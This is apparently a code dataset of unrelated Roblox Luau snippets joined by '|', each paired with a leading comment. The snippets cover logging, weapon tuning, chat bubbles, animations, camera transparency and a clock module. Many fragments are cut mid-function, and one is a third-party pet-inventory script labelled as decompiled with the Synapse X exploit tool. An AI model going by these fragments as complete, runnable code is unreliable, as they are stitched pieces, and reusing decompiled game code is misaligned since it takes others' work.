player:SetAttribute("status", status)
end
end)
|
--[[
Issues a warning like `Logging.warn`, but only outputs once per call site.
This is useful for marking deprecated functions that might be called a lot;
using `warnOnce` instead of `warn` will reduce output noise while still
correctly marking all call sites.
]] |
function Logging.warnOnce(messageTemplate, ...)
local trace = debug.traceback()
if onceUsedLocations[trace] then
return
end
onceUsedLocations[trace] = true
Logging.warn(messageTemplate, ...)
end
return Logging
|
--[[
DisableNativeGUI
Description: This script disable some native ui elements that are part of roblox.
]] | |
--// Bullet Physics |
BulletPhysics = Vector3.new(-10,55,0); -- Drop fixation: Lower number = more drop
BulletSpeed = 2725; -- Bullet Speed
BulletSpread = 2.5; -- How much spread the bullet has
ExploPhysics = Vector3.new(0,20,0); -- Drop for explosive rounds
ExploSpeed = 600; -- Speed for explosive rounds
BulletDecay = 10000; -- How far the bullet travels before slowing down and being deleted (BUGGY)
|
--Unmute players across different servers |
local unmuteConnection = ms:SubscribeAsync(unmuteTopic, function(message)
local targetId = message.Data[1]
for i, plr in pairs(game.Players:GetPlayers()) do
if plr.UserId == targetId then
channel:UnmuteSpeaker(plr.Name)
end
end
end) |
--// Aim|Zoom|Sensitivity Customization |
ZoomSpeed = 0.25; -- The lower the number the slower and smoother the tween
AimZoom = 50; -- Default zoom
AimSpeed = 0.45;
UnaimSpeed = 0.35;
CycleAimZoom = 50; -- Cycled zoom
MouseSensitivity = 0.5; -- Number between 0.1 and 1
SensitivityIncrement = 0.05; -- No touchy
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]] |
local autoscaling = false --Estimates top speed
local UNITS = { --Click on speed to change units
--First unit is default
{
units = "MPH" ,
scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH
maxSpeed = 230 ,
spInc = 20 , -- Increment between labelled notches
},
{
units = "KM/H" ,
scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H
maxSpeed = 370 ,
spInc = 40 , -- Increment between labelled notches
},
{
units = "SPS" ,
scaling = 1 , -- Roblox standard
maxSpeed = 400 ,
spInc = 40 , -- Increment between labelled notches
}
}
|
-- Services |
local inputService = game:GetService("UserInputService")
local playerService = game:GetService("Players")
|
-- Preload animations |
function playAnimation(animName, transitionTime, humanoid)
local roll = math.random(1, animTable[animName].totalWeight)
local origRoll = roll
local idx = 1
while (roll > animTable[animName][idx].weight) do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end
--print(animName .. " " .. idx .. " [" .. origRoll .. "]")
local anim = animTable[animName][idx].anim
-- switch animation
if (anim ~= currentAnimInstance) then
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop(transitionTime)
currentAnimTrack:Destroy()
end
currentAnimSpeed = 1.0
-- load it to the humanoid; get AnimationTrack
currentAnimTrack = humanoid:LoadAnimation(anim)
-- play the animation
currentAnimTrack:Play(transitionTime)
currentAnim = animName
currentAnimInstance = anim
-- set up keyframe name triggers
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
end
end |
--[[ Constants ]] | --
local ZERO_VECTOR3 = Vector3.new(0,0,0)
local USE_STACKING_TRANSPARENCY = true -- Multiple items between the subject and camera get transparency values that add up to TARGET_TRANSPARENCY
local TARGET_TRANSPARENCY = 0.75 -- Classic Invisicam's Value, also used by new invisicam for parts hit by head and torso rays
local TARGET_TRANSPARENCY_PERIPHERAL = 0.5 -- Used by new SMART_CIRCLE mode for items not hit by head and torso rays
local MODE = {
--CUSTOM = 1, -- Retired, unused
LIMBS = 2, -- Track limbs
MOVEMENT = 3, -- Track movement
CORNERS = 4, -- Char model corners
CIRCLE1 = 5, -- Circle of casts around character
CIRCLE2 = 6, -- Circle of casts around character, camera relative
LIMBMOVE = 7, -- LIMBS mode + MOVEMENT mode
SMART_CIRCLE = 8, -- More sample points on and around character
CHAR_OUTLINE = 9, -- Dynamic outline around the character
}
local LIMB_TRACKING_SET = {
-- Body parts common to R15 and R6
['Head'] = true,
-- Body parts unique to R6
['Left Arm'] = true,
['Right Arm'] = true,
['Left Leg'] = true,
['Right Leg'] = true,
-- Body parts unique to R15
['LeftLowerArm'] = true,
['RightLowerArm'] = true,
['LeftUpperLeg'] = true,
['RightUpperLeg'] = true
}
local CORNER_FACTORS = {
Vector3.new(1,1,-1),
Vector3.new(1,-1,-1),
Vector3.new(-1,-1,-1),
Vector3.new(-1,1,-1)
}
local CIRCLE_CASTS = 10
local MOVE_CASTS = 3
local SMART_CIRCLE_CASTS = 24
local SMART_CIRCLE_INCREMENT = 2.0 * math.pi / SMART_CIRCLE_CASTS
local CHAR_OUTLINE_CASTS = 24
|
--- |
local Paint = false
script.Parent.MouseButton1Click:connect(function()
Paint = not Paint
handler:FireServer("Gold",Paint)
end)
|
--// Positioning |
RightArmPos = CFrame.new(-0.902175903, 0.295501232, -1.32277012, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08);
LeftArmPos = CFrame.new(1.06851184, 0.973718464, -2.29667926, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098);
GunPos = CFrame.new(0.284460306, -0.318524063, 1.06423128, 1, 0, 0, 0, -2.98023224e-08, -0.99999994, 0, 0.99999994, -2.98023224e-08);
|
-- Decompiled with the Synapse X Luau decompiler. |
local l__ReplicatedStorage__1 = game.ReplicatedStorage;
function getLevel(p1)
local v1 = 0;
local l__Value__2 = l__ReplicatedStorage__1.Pets.Settings.MaxPetLevel.Value;
local v3 = 0 - 1;
while true do
if 100 * v3 + v1 <= p1 then
if v3 ~= l__ReplicatedStorage__1.Pets.Settings.MaxPetLevel.Value then
else
return v3;
end;
if p1 < 100 * v3 + v1 + (100 + 25 * v3) then
return v3;
end;
end;
v1 = v1 + v3 * 25;
if 0 <= 1 then
if v3 < l__Value__2 then
else
break;
end;
elseif l__Value__2 < v3 then
else
break;
end;
v3 = v3 + 1;
end;
end;
local l__LocalPlayer__2 = game.Players.LocalPlayer;
function GetFolderFromPetID(p2)
for v7, v8 in pairs(l__LocalPlayer__2.Pets:GetChildren()) do
if v8.PetID.Value == p2 then
return v8;
end;
end;
return nil;
end;
function getLayoutOrder(p3)
local v9 = GetFolderFromPetID(p3);
local l__Value__10 = l__ReplicatedStorage__1.Pets.Rarities:FindFirstChild(l__ReplicatedStorage__1.Pets.Models:FindFirstChild(v9.Name).Settings.Rarity.Value).Order.Value;
local l__Value__11 = l__ReplicatedStorage__1.Pets.Settings.MaxPetLevel.Value;
local v12 = getLevel(v9.TotalXP.Value);
local v13 = {};
local v14 = 0;
for v18, v19 in pairs(l__ReplicatedStorage__1.Pets.Models:GetChildren()) do
v13[#v13 + 1] = v19;
end;
table.sort(v13, function(p4, p5)
return p4:GetFullName() < p5:GetFullName();
end);
for v24, v23 in pairs(v13) do
if v9.Equipped.Value == true then
if v9.Name == v23.Name then
return l__Value__11 * #v13 * (#l__ReplicatedStorage__1.Pets.Rarities:GetChildren() - l__Value__10) + v14 * l__Value__11 + (l__Value__11 - v12);
end;
elseif v9.Name == v23.Name then
return #v13 * #l__ReplicatedStorage__1.Pets.Rarities:GetChildren() * l__Value__11 + l__Value__11 * #v13 * (#l__ReplicatedStorage__1.Pets.Rarities:GetChildren() - l__Value__10) + v14 * l__Value__11 + (l__Value__11 - v12);
end;
v14 = v14 + 1;
end;
end;
local l__Inventory__3 = script.Parent.Parent.Parent.Parent.MainFrame.Inventory;
script.Parent.MouseButton1Click:Connect(function()
local v25, v26 = l__ReplicatedStorage__1.RemoteEvents.PetActionRequest:InvokeServer("Delete", {
PetID = script.Parent.Parent.Parent.PetID.Value
});
if v25 ~= "Success" then
if v25 == "Error" then
print(v26);
end;
return;
end;
script.Parent.Parent.Visible = false;
for v27, v28 in pairs(l__Inventory__3:GetChildren()) do
if not v28:IsA("UIGridLayout") then
v28.LayoutOrder = getLayoutOrder(v28.PetID.Value);
end;
end;
end);
|
--Rear |
rWheel.CustomPhysicalProperties = PhysicalProperties.new(_Tune.RWheelDensity,rWheel.CustomPhysicalProperties.Friction,rWheel.CustomPhysicalProperties.Elasticity,rWheel.CustomPhysicalProperties.FrictionWeight,rWheel.CustomPhysicalProperties.ElasticityWeight)
|
-- init chat bubble tables |
local function initChatBubbleType(chatBubbleType, fileName, imposterFileName, isInset, sliceRect)
this.ChatBubble[chatBubbleType] = createChatBubbleMain(fileName, sliceRect)
this.ChatBubbleWithTail[chatBubbleType] = createChatBubbleWithTail(fileName, UDim2.new(0.5, -CHAT_BUBBLE_TAIL_HEIGHT, 1, isInset and -1 or 0), UDim2.new(0, 30, 0, CHAT_BUBBLE_TAIL_HEIGHT), sliceRect)
this.ScalingChatBubbleWithTail[chatBubbleType] = createScaledChatBubbleWithTail(fileName, 0.5, UDim2.new(-0.5, 0, 0, isInset and -1 or 0), sliceRect)
end
initChatBubbleType(BubbleColor.WHITE, "ui/dialog_white", "ui/chatBubble_white_notify_bkg", false, Rect.new(5,5,15,15))
initChatBubbleType(BubbleColor.BLUE, "ui/dialog_blue", "ui/chatBubble_blue_notify_bkg", true, Rect.new(7,7,33,33))
initChatBubbleType(BubbleColor.RED, "ui/dialog_red", "ui/chatBubble_red_notify_bkg", true, Rect.new(7,7,33,33))
initChatBubbleType(BubbleColor.GREEN, "ui/dialog_green", "ui/chatBubble_green_notify_bkg", true, Rect.new(7,7,33,33))
function this:SanitizeChatLine(msg)
if getMessageLength(msg) > MaxChatMessageLengthExclusive then
local byteOffset = utf8.offset(msg, MaxChatMessageLengthExclusive + getMessageLength(ELIPSES) + 1) - 1
return string.sub(msg, 1, byteOffset)
else
return msg
end
end
local function createBillboardInstance(adornee)
local billboardGui = Instance.new("BillboardGui")
billboardGui.Adornee = adornee
billboardGui.Size = UDim2.new(0, BILLBOARD_MAX_WIDTH, 0, BILLBOARD_MAX_HEIGHT)
billboardGui.StudsOffset = Vector3.new(0, 1.5, 2)
billboardGui.Parent = BubbleChatScreenGui
local billboardFrame = Instance.new("Frame")
billboardFrame.Name = "BillboardFrame"
billboardFrame.Size = UDim2.new(1, 0, 1, 0)
billboardFrame.Position = UDim2.new(0, 0, -0.5, 0)
billboardFrame.BackgroundTransparency = 1
billboardFrame.Parent = billboardGui
local billboardChildRemovedCon = nil
billboardChildRemovedCon = billboardFrame.ChildRemoved:connect(function()
if #billboardFrame:GetChildren() <= 1 then
billboardChildRemovedCon:disconnect()
billboardGui:Destroy()
end
end)
this:CreateSmallTalkBubble(BubbleColor.WHITE).Parent = billboardFrame
return billboardGui
end
function this:CreateBillboardGuiHelper(instance, onlyCharacter)
if instance and not this.CharacterSortedMsg:Get(instance)["BillboardGui"] then
if not onlyCharacter then
if instance:IsA("BasePart") then
-- Create a new billboardGui object attached to this player
local billboardGui = createBillboardInstance(instance)
this.CharacterSortedMsg:Get(instance)["BillboardGui"] = billboardGui
return
end
end
if instance:IsA("Model") then
local head = instance:FindFirstChild("Head")
if head and head:IsA("BasePart") then
-- Create a new billboardGui object attached to this player
local billboardGui = createBillboardInstance(head)
this.CharacterSortedMsg:Get(instance)["BillboardGui"] = billboardGui
end
end
end
end
local function distanceToBubbleOrigin(origin)
if not origin then return 100000 end
return (origin.Position - (game.Workspace.CurrentCamera :: Camera).CoordinateFrame.Position).magnitude
end
local function isPartOfLocalPlayer(adornee)
if adornee and PlayersService.LocalPlayer.Character then
return adornee:IsDescendantOf(PlayersService.LocalPlayer.Character)
end
end
function this:SetBillboardLODNear(billboardGui)
local isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee)
billboardGui.Size = UDim2.new(0, BILLBOARD_MAX_WIDTH, 0, BILLBOARD_MAX_HEIGHT)
billboardGui.StudsOffset = Vector3.new(0, isLocalPlayer and 1.5 or 2.5, isLocalPlayer and 2 or 0.1)
billboardGui.Enabled = true
local billChildren = billboardGui.BillboardFrame:GetChildren()
for i = 1, #billChildren do
billChildren[i].Visible = true
end
billboardGui.BillboardFrame.SmallTalkBubble.Visible = false
end
function this:SetBillboardLODDistant(billboardGui)
local isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee)
billboardGui.Size = UDim2.new(4, 0, 3, 0)
billboardGui.StudsOffset = Vector3.new(0, 3, isLocalPlayer and 2 or 0.1)
billboardGui.Enabled = true
local billChildren = billboardGui.BillboardFrame:GetChildren()
for i = 1, #billChildren do
billChildren[i].Visible = false
end
billboardGui.BillboardFrame.SmallTalkBubble.Visible = true
end
function this:SetBillboardLODVeryFar(billboardGui)
billboardGui.Enabled = false
end
function this:SetBillboardGuiLOD(billboardGui, origin)
if not origin then return end
if origin:IsA("Model") then
local head = origin:FindFirstChild("Head")
if not head then origin = origin.PrimaryPart
else origin = head end
end
local bubbleDistance = distanceToBubbleOrigin(origin)
if bubbleDistance < NEAR_BUBBLE_DISTANCE then
this:SetBillboardLODNear(billboardGui)
elseif bubbleDistance >= NEAR_BUBBLE_DISTANCE and bubbleDistance < MAX_BUBBLE_DISTANCE then
this:SetBillboardLODDistant(billboardGui)
else
this:SetBillboardLODVeryFar(billboardGui)
end
end
function this:CameraCFrameChanged()
for index, value in pairs(this.CharacterSortedMsg:GetData()) do
local playerBillboardGui = value["BillboardGui"]
if playerBillboardGui then this:SetBillboardGuiLOD(playerBillboardGui, index) end
end
end
function this:CreateBubbleText(message, shouldAutoLocalize)
local bubbleText = Instance.new("TextLabel")
bubbleText.Name = "BubbleText"
bubbleText.BackgroundTransparency = 1
if UserFixBubbleChatText then
bubbleText.Size = UDim2.fromScale(1, 1)
else
bubbleText.Position = UDim2.new(0, CHAT_BUBBLE_WIDTH_PADDING / 2, 0, 0)
bubbleText.Size = UDim2.new(1, -CHAT_BUBBLE_WIDTH_PADDING, 1, 0)
end
bubbleText.Font = CHAT_BUBBLE_FONT
bubbleText.ClipsDescendants = true
bubbleText.TextWrapped = true
bubbleText.FontSize = CHAT_BUBBLE_FONT_SIZE
bubbleText.Text = message
bubbleText.Visible = false
bubbleText.AutoLocalize = shouldAutoLocalize
if UserFixBubbleChatText then
local padding = Instance.new("UIPadding")
padding.PaddingTop = UDim.new(0, CHAT_BUBBLE_PADDING)
padding.PaddingRight = UDim.new(0, CHAT_BUBBLE_PADDING)
padding.PaddingBottom = UDim.new(0, CHAT_BUBBLE_PADDING)
padding.PaddingLeft = UDim.new(0, CHAT_BUBBLE_PADDING)
padding.Parent = bubbleText
end
return bubbleText
end
function this:CreateSmallTalkBubble(chatBubbleType)
local smallTalkBubble = this.ScalingChatBubbleWithTail[chatBubbleType]:Clone()
smallTalkBubble.Name = "SmallTalkBubble"
smallTalkBubble.AnchorPoint = Vector2.new(0, 0.5)
smallTalkBubble.Position = UDim2.new(0, 0, 0.5, 0)
smallTalkBubble.Visible = false
local text = this:CreateBubbleText("...")
text.TextScaled = true
text.TextWrapped = false
text.Visible = true
text.Parent = smallTalkBubble
return smallTalkBubble
end
function this:UpdateChatLinesForOrigin(origin, currentBubbleYPos)
local bubbleQueue = this.CharacterSortedMsg:Get(origin).Fifo
local bubbleQueueSize = bubbleQueue:Size()
local bubbleQueueData = bubbleQueue:GetData()
if #bubbleQueueData <= 1 then return end
for index = (#bubbleQueueData - 1), 1, -1 do
local value = bubbleQueueData[index]
local bubble = value.RenderBubble
if not bubble then return end
local bubblePos = bubbleQueueSize - index + 1
if bubblePos > 1 then
local tail = bubble:FindFirstChild("ChatBubbleTail")
if tail then tail:Destroy() end
local bubbleText = bubble:FindFirstChild("BubbleText")
if bubbleText then bubbleText.TextTransparency = 0.5 end
end
local udimValue = UDim2.new( bubble.Position.X.Scale, bubble.Position.X.Offset,
1, currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT)
bubble:TweenPosition(udimValue, Enum.EasingDirection.Out, Enum.EasingStyle.Bounce, 0.1, true)
currentBubbleYPos = currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT
end
end
function this:DestroyBubble(bubbleQueue, bubbleToDestroy)
if not bubbleQueue then return end
if bubbleQueue:Empty() then return end
local bubble = bubbleQueue:Front().RenderBubble
if not bubble then
bubbleQueue:PopFront()
return
end
spawn(function()
while bubbleQueue:Front().RenderBubble ~= bubbleToDestroy do
wait()
end
bubble = bubbleQueue:Front().RenderBubble
local timeBetween = 0
local bubbleText = bubble:FindFirstChild("BubbleText")
local bubbleTail = bubble:FindFirstChild("ChatBubbleTail")
while bubble and bubble.ImageTransparency < 1 do
timeBetween = wait()
if bubble then
local fadeAmount = timeBetween * CHAT_BUBBLE_FADE_SPEED
bubble.ImageTransparency = bubble.ImageTransparency + fadeAmount
if bubbleText then bubbleText.TextTransparency = bubbleText.TextTransparency + fadeAmount end
if bubbleTail then bubbleTail.ImageTransparency = bubbleTail.ImageTransparency + fadeAmount end
end
end
if bubble then
bubble:Destroy()
bubbleQueue:PopFront()
end
end)
end
function this:CreateChatLineRender(instance, line, onlyCharacter, fifo, shouldAutoLocalize)
if not instance then return end
if not this.CharacterSortedMsg:Get(instance)["BillboardGui"] then
this:CreateBillboardGuiHelper(instance, onlyCharacter)
end
local billboardGui = this.CharacterSortedMsg:Get(instance)["BillboardGui"]
if billboardGui then
local chatBubbleRender = this.ChatBubbleWithTail[line.BubbleColor]:Clone()
chatBubbleRender.Visible = false
local bubbleText = this:CreateBubbleText(line.Message, shouldAutoLocalize)
bubbleText.Parent = chatBubbleRender
chatBubbleRender.Parent = billboardGui.BillboardFrame
line.RenderBubble = chatBubbleRender
local currentTextBounds = TextService:GetTextSize(
bubbleText.Text, CHAT_BUBBLE_FONT_SIZE_INT, CHAT_BUBBLE_FONT,
Vector2.new(BILLBOARD_MAX_WIDTH, BILLBOARD_MAX_HEIGHT))
local numOflines = (currentTextBounds.Y / CHAT_BUBBLE_FONT_SIZE_INT)
if UserFixBubbleChatText then
-- Need to use math.ceil to round up on retina displays
local width = math.ceil(currentTextBounds.X + CHAT_BUBBLE_PADDING * 2)
local height = numOflines * CHAT_BUBBLE_LINE_HEIGHT
-- prep chat bubble for tween
chatBubbleRender.Size = UDim2.fromOffset(0, 0)
chatBubbleRender.Position = UDim2.fromScale(0.5, 1)
chatBubbleRender:TweenSizeAndPosition(
UDim2.fromOffset(width, height),
UDim2.new(0.5, -width / 2, 1, -height),
Enum.EasingDirection.Out,
Enum.EasingStyle.Elastic,
0.1,
true,
function()
bubbleText.Visible = true
end
)
-- todo: remove when over max bubbles
this:SetBillboardGuiLOD(billboardGui, line.Origin)
this:UpdateChatLinesForOrigin(line.Origin, -height)
else
local bubbleWidthScale = math.max((currentTextBounds.X + CHAT_BUBBLE_WIDTH_PADDING) / BILLBOARD_MAX_WIDTH, 0.1)
-- prep chat bubble for tween
chatBubbleRender.Size = UDim2.new(0, 0, 0, 0)
chatBubbleRender.Position = UDim2.new(0.5, 0, 1, 0)
local newChatBubbleOffsetSizeY = numOflines * CHAT_BUBBLE_LINE_HEIGHT
chatBubbleRender:TweenSizeAndPosition(UDim2.new(bubbleWidthScale, 0, 0, newChatBubbleOffsetSizeY),
UDim2.new( (1 - bubbleWidthScale) / 2, 0, 1, -newChatBubbleOffsetSizeY),
Enum.EasingDirection.Out, Enum.EasingStyle.Elastic, 0.1, true,
function() bubbleText.Visible = true end)
-- todo: remove when over max bubbles
this:SetBillboardGuiLOD(billboardGui, line.Origin)
this:UpdateChatLinesForOrigin(line.Origin, -newChatBubbleOffsetSizeY)
end
delay(line.BubbleDieDelay, function()
this:DestroyBubble(fifo, chatBubbleRender)
end)
end
end
function this:OnPlayerChatMessage(sourcePlayer, message, targetPlayer)
if not this:BubbleChatEnabled() then return end
local localPlayer = PlayersService.LocalPlayer
local fromOthers = localPlayer ~= nil and sourcePlayer ~= localPlayer
local safeMessage = this:SanitizeChatLine(message)
local line = createPlayerChatLine(sourcePlayer, safeMessage, not fromOthers)
if sourcePlayer and line.Origin then
local fifo = this.CharacterSortedMsg:Get(line.Origin).Fifo
fifo:PushBack(line)
--Game chat (badges) won't show up here
this:CreateChatLineRender(sourcePlayer.Character, line, true, fifo, false)
end
end
function this:OnGameChatMessage(origin, message, color)
-- Prevents conflicts with the new bubble chat if it is enabled
if UserRoactBubbleChatBeta or (UserPreventOldBubbleChatOverlap and ChatService.BubbleChatEnabled) then
return
end
local localPlayer = PlayersService.LocalPlayer
local fromOthers = localPlayer ~= nil and (localPlayer.Character ~= origin)
local bubbleColor = BubbleColor.WHITE
if color == Enum.ChatColor.Blue then bubbleColor = BubbleColor.BLUE
elseif color == Enum.ChatColor.Green then bubbleColor = BubbleColor.GREEN
elseif color == Enum.ChatColor.Red then bubbleColor = BubbleColor.RED end
local safeMessage = this:SanitizeChatLine(message)
local line = createGameChatLine(origin, safeMessage, not fromOthers, bubbleColor)
this.CharacterSortedMsg:Get(line.Origin).Fifo:PushBack(line)
if UserShouldLocalizeGameChatBubble then
this:CreateChatLineRender(origin, line, false, this.CharacterSortedMsg:Get(line.Origin).Fifo, true)
else
this:CreateChatLineRender(origin, line, false, this.CharacterSortedMsg:Get(line.Origin).Fifo, false)
end
end
function this:BubbleChatEnabled()
if UserRoactBubbleChatBeta or (UserPreventOldBubbleChatOverlap and ChatService.BubbleChatEnabled) then
return false
end
local clientChatModules = ChatService:FindFirstChild("ClientChatModules")
if clientChatModules then
local chatSettings = clientChatModules:FindFirstChild("ChatSettings")
if chatSettings then
chatSettings = require(chatSettings)
if chatSettings.BubbleChatEnabled ~= nil then
return chatSettings.BubbleChatEnabled
end
end
end
return PlayersService.BubbleChat
end
function this:ShowOwnFilteredMessage()
local clientChatModules = ChatService:FindFirstChild("ClientChatModules")
if clientChatModules then
local chatSettings = clientChatModules:FindFirstChild("ChatSettings")
if chatSettings then
chatSettings = require(chatSettings)
return chatSettings.ShowUserOwnFilteredMessage
end
end
return false
end
function findPlayer(playerName)
for i,v in pairs(PlayersService:GetPlayers()) do
if v.Name == playerName then
return v
end
end
end
ChatService.Chatted:connect(function(origin, message, color) this:OnGameChatMessage(origin, message, color) end)
local cameraChangedCon = nil
if game.Workspace.CurrentCamera then
cameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal("CFrame"):Connect(function(prop) this:CameraCFrameChanged() end)
end
game.Workspace.Changed:Connect(function(prop)
if prop == "CurrentCamera" then
if cameraChangedCon then cameraChangedCon:disconnect() end
if game.Workspace.CurrentCamera then
cameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal("CFrame"):Connect(function(prop) this:CameraCFrameChanged() end)
end
end
end)
local AllowedMessageTypes = nil
function getAllowedMessageTypes()
if AllowedMessageTypes then
return AllowedMessageTypes
end
local clientChatModules = ChatService:FindFirstChild("ClientChatModules")
if clientChatModules then
local chatSettings = clientChatModules:FindFirstChild("ChatSettings")
if chatSettings then
chatSettings = require(chatSettings)
if chatSettings.BubbleChatMessageTypes then
AllowedMessageTypes = chatSettings.BubbleChatMessageTypes
return AllowedMessageTypes
end
end
local chatConstants = clientChatModules:FindFirstChild("ChatConstants")
if chatConstants then
chatConstants = require(chatConstants)
AllowedMessageTypes = {chatConstants.MessageTypeDefault, chatConstants.MessageTypeWhisper}
end
return AllowedMessageTypes
end
return {"Message", "Whisper"}
end
function checkAllowedMessageType(messageData)
local allowedMessageTypes = getAllowedMessageTypes()
for i = 1, #allowedMessageTypes do
if allowedMessageTypes[i] == messageData.MessageType then
return true
end
end
return false
end
local ChatEvents = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents")
local OnMessageDoneFiltering = ChatEvents:WaitForChild("OnMessageDoneFiltering")
local OnNewMessage = ChatEvents:WaitForChild("OnNewMessage")
OnNewMessage.OnClientEvent:connect(function(messageData, channelName)
if not checkAllowedMessageType(messageData) then
return
end
local sender = findPlayer(messageData.FromSpeaker)
if not sender then
return
end
if not messageData.IsFiltered or messageData.FromSpeaker == LocalPlayer.Name then
if messageData.FromSpeaker ~= LocalPlayer.Name or this:ShowOwnFilteredMessage() then
return
end
end
this:OnPlayerChatMessage(sender, messageData.Message, nil)
end)
OnMessageDoneFiltering.OnClientEvent:connect(function(messageData, channelName)
if not checkAllowedMessageType(messageData) then
return
end
local sender = findPlayer(messageData.FromSpeaker)
if not sender then
return
end
if messageData.FromSpeaker == LocalPlayer.Name and not this:ShowOwnFilteredMessage() then
return
end
this:OnPlayerChatMessage(sender, messageData.Message, nil)
end)
|
-------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------- |
function onRunning(speed)
if speed>0.01 then
playAnimation("walk", 0.1, Humanoid)
pose = "Running"
else
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
end
end
function onDied()
pose = "Dead"
end
function onJumping()
playAnimation("jump", 0.1, Humanoid)
jumpAnimTime = jumpAnimDuration
pose = "Jumping"
end
function onClimbing(speed)
playAnimation("climb", 0.1, Humanoid)
setAnimationSpeed(speed / 12.0)
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
if (jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
end
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
pose = "Seated"
end
function onPlatformStanding()
pose = "PlatformStanding"
end
function onSwimming(speed)
if speed>0 then
pose = "Running"
else
pose = "Standing"
end
end
function getTool()
for _, kid in ipairs(Figure:GetChildren()) do
if kid.className == "Tool" then return kid end
end
return nil
end
function getToolAnim(tool)
for _, c in ipairs(tool:GetChildren()) do
if c.Name == "toolanim" and c.className == "StringValue" then
return c
end
end
return nil
end
function animateTool()
if (toolAnim == "None") then
playToolAnimation("toolnone", toolTransitionTime, Humanoid)
return
end
if (toolAnim == "Slash") then
playToolAnimation("toolslash", 0, Humanoid)
return
end
if (toolAnim == "Lunge") then
playToolAnimation("toollunge", 0, Humanoid)
return
end
end
function moveSit()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder:SetDesiredAngle(3.14 /2)
LeftShoulder:SetDesiredAngle(-3.14 /2)
RightHip:SetDesiredAngle(3.14 /2)
LeftHip:SetDesiredAngle(-3.14 /2)
end
local lastTick = 0
function move(time)
local amplitude = 1
local frequency = 1
local deltaTime = time - lastTick
lastTick = time
local climbFudge = 0
local setAngles = false
if (jumpAnimTime > 0) then
jumpAnimTime = jumpAnimTime - deltaTime
end
if (pose == "FreeFall" and jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
elseif (pose == "Seated") then
stopAllAnimations()
moveSit()
return
elseif (pose == "Running") then
playAnimation("walk", 0.1, Humanoid)
elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then |
-- To adjust where your hat will be postioned on your head, go to the script line that says "h.AttachmentPos = Vector3.new(0,0,0)
-- The first number in the (0,0,0) will make your hat go to the left, or to the right, making the number positive will make your hat be
-- placed to the left, making it negative( ex. "-1") will make it be placed to the right. If your hat is pretty semetrical, you wont have to
-- adjust the first number, it stays usually in the middle, a zero. | |
-- Called once when the realism client is starting.
-- This is intended for compatibility with AeroGameFramework modules,
-- but the function will automatically be called if executed from a LocalScript. |
function CharacterRealism:Start()
assert(not _G.DefineRealismClient, "Realism can only be started once on the client!")
_G.DefineRealismClient = true
for key, value in pairs(Config) do
self[key] = value
end
for _,humanoid in pairs(CollectionService:GetTagged(self.BindTag)) do
self:OnHumanoidAdded(humanoid)
end
self:Connect("UpdateLookAngles", RunService.Heartbeat)
self:Connect("OnLookReceive", self.SetLookAngles.OnClientEvent)
self:Connect("OnHumanoidAdded", CollectionService:GetInstanceAddedSignal(self.BindTag))
FpsCamera:Start()
end
if script:IsA("ModuleScript") then
-- Return the system as a module table.
return CharacterRealism
else
-- Sanity check
assert(script:FindFirstAncestorOfClass("PlayerScripts"), "RealismClient must be a descendant of the PlayerScripts!")
assert(Players.LocalPlayer, "RealismClient expects a Player on the client to automatically start execution!")
-- Start automatically.
CharacterRealism:Start()
end
|
-- Allowed locations in the hierarchy (descendants of which are authorized) |
Security.AllowedLocations = { Workspace };
|
------//High Ready Animations |
self.RightHighReady = CFrame.new(-1, -.5, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0));
self.LeftHighReady = CFrame.new(.85,-0.35,-1.15) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15));
|
-- If at 0, audio player will start right away because audio starts at 0 time position
-- Open to alternatives |
local startingTimePositionValue = 0
function Clock.new(timeId)
local timePosition = Instance.new("NumberValue") -- Could this be slow, does that matter
timePosition.Name = timeId
timePosition.Parent = ReplicatedStorage
local self = {
initialTimePosition = startingTimePositionValue,
initialClockTime = nil,
timePosition = timePosition,
timeKeepingConnection = nil,
pauseTime = nil,
}
setmetatable(self, Clock)
return self
end
function Clock:getCurrentTime()
return os.clock()
end
function Clock:_keepTrackOfTime()
self:_stopTrackingTime()
self.initialClockTime = self:getCurrentTime()
self.timeKeepingConnection = self.RunService.Heartbeat:Connect(function()
if self.pauseTime then
self.timePosition.Value = self.pauseTime
else
local differenceSinceCall = self:getCurrentTime() - self.initialClockTime
self.timePosition.Value = differenceSinceCall + self.initialTimePosition
end
end)
return
end
function Clock:Pause()
self.pauseTime = self.timePosition.Value
self.pausedAtTime = self:getCurrentTime()
end
function Clock:Unpause()
self.pauseTime = nil
self.pausedAtTime = self.pausedAtTime or 0
self.initialClockTime = self.initialClockTime + (self:getCurrentTime() - self.pausedAtTime)
end
function Clock:_stopTrackingTime()
if self.timeKeepingConnection then
